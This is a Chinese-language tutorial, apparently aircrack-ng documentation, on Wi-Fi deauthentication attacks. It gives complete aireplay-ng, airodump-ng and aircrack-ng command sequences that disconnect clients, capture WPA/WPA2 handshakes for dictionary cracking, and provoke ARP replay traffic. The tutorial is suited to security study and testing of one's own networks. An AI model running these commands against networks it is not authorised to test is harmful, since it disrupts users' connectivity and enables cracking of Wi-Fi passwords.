描述
Deauthentication,即解除认证攻击(aireplay-ng -0)。此攻击会给已连接上接入点的用户发送断开包(导致用户和接入点断开连接)。常在下列情形中用到:
- 用来发现隐藏的ESSID
- 用来捕捉WPA/WPA2握手包
- 产生ARP请求(断开连接时,windows会刷新ARP缓存)
当然,没有用户和接入点连接时,这种攻击方式就不能使用了。
用法
aireplay-ng -0 1 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
其中:
- -0表示解除认证攻击
- 1是我们发送断开包的数量,0表示不断发送
- -a 00:14:6C:7E:40:80是接入点的MAC地址
- -c 00:0F:B5:34:30:30是我们所要攻击用户的MAC地址,如果此项被省略则攻击所有用户
- ath0表示monitor接口
用法范例
典型的解除认证攻击
首先,选定一个已经连接上接入点的用户,我们在下面的命令中需要它的MAC地址:
aireplay-ng -0 1 -a 00:14:6C:7E:40:80 -c 00:0F:B5:AE:CE:9D ath0
其中:
- -0表示解除认证攻击
- 1是我们发送断开包的数量
- -a 00:14:6C:7E:40:80是接入点的MAC地址
- -c 00:0F:B5:34:30:30是我们所要攻击用户的MAC地址
- ath0表示monitor接口
应该会有下面的输出:
12:35:25 Waiting for beacon frame (BSSID: 00:14:6C:7E:40:80) on channel 9
12:35:25 Sending 64 directed DeAuth. STMAC: [00:0F:B5:AE:CE:9D] [ 61|63 ACKs]
对于定向的解除认证攻击,aireplay-ng一次攻击中会发送128个数据包,64个发送到指定的用户,64个发送到接入点。
其中的“[ 61|63 ACKs]” 表示:
- 【从客户端接收到的ACKs | 从接入点接收到的ACKs】
- 可以看到两者的数量都比64要小,这是因为丢失一些数据包是很正常的。相反,如果客户端正和接入点频繁地通信,这些数也可能比64要大
- 这两个数字可以帮助我们判断用户和接入点是否接收到了我们发送的断开包,0可以说明用户或者接入点没有接收到,比较小的数则说明与它们的距离较远,信号强度较弱。
用Atheros捕捉到的WPA/WPA2握手包
airmon-ng start ath0
airodump-ng -c 6 --bssid 00:14:6C:7E:40:80 -w out ath0 (switch to another console)
aireplay-ng -0 5 -a 00:14:6C:7E:40:80 -c 00:0F:B5:AB:CB:9D ath0
(wait for a few seconds)
aircrack-ng -w /path/to/dictionary out.cap
对上面命令的解释:
airodump-ng -c 6 –bssid 00:14:6C:7E:40:80 -w out ath0
其中:
- -c 6表示监听的信道
- –bssid 00:14:6C:7E:40:80限定只从此接入点捕捉数据包
- -w out表示存放数据包的文件名前缀
- ath0是monitor接口名
aireplay-ng -0 5 -a 00:14:6C:7E:40:80 -c 00:0F:B5:AB:CB:9D ath0
其中:
- -0表示解除认证攻击
- 5是我们发送断开包的数量
- -a 00:14:6C:7E:40:80是接入点的MAC地址
- -c 00:0F:B5:34:30:30是我们所要攻击用户的MAC地址
- ath0表示monitor接口
此命令后应该会输出:
12:55:56 Sending DeAuth to station -- STMAC: [00:0F:B5:AB:CB:9D]
12:55:56 Sending DeAuth to station -- STMAC: [00:0F:B5:AB:CB:9D]
12:55:57 Sending DeAuth to station -- STMAC: [00:0F:B5:AB:CB:9D]
12:55:58 Sending DeAuth to station -- STMAC: [00:0F:B5:AB:CB:9D]
12:55:58 Sending DeAuth to station -- STMAC: [00:0F:B5:AB:CB:9D]
使用Prism网卡产生ARP请求
airmon-ng start wlan0
airodump-ng -c 6 -w out --bssid 00:13:10:30:24:9C wlan0 (switch to another console)
aireplay-ng -0 10 -a 00:13:10:30:24:9C wlan0
aireplay-ng -3 -b 00:13:10:30:24:9C -h 00:09:5B:EB:C5:2B wlan0
在发动解除认证攻击以后,我们开始使用-3模式监听ARP请求。其中的-h选项是强制的,表示连接客户端的MAC地址。
用法指导
- 指定一个特定的客户端,攻击效率会更高。
- 解除认证包会直接从我们的电脑发送到客户端,所以我们必须和客户端离得足够的近,以使得数据包能被成功传送
常见问题及解决方法
为什么deauthentication不能正常进行
- 我们距离客户端太远。我们需要足够的传送功率将数据包发送给客户端。事实上,每一个发送出去的数据包都应该有一个“ack”被包发送回来,如果ack数为0,则表明客户端没有接收到
- 无线网卡工作在特定的模式下,如b、g、n等。如果我们的网卡和客户端网卡处于不同的模式,那么客户端就不能接收到我们发送的数据包
- 有些客户端会忽视广播的数据包,这时我们需要定向发送解除认证包
- 客户端重新连接的速度太快,我们没有注意到他们被断开过。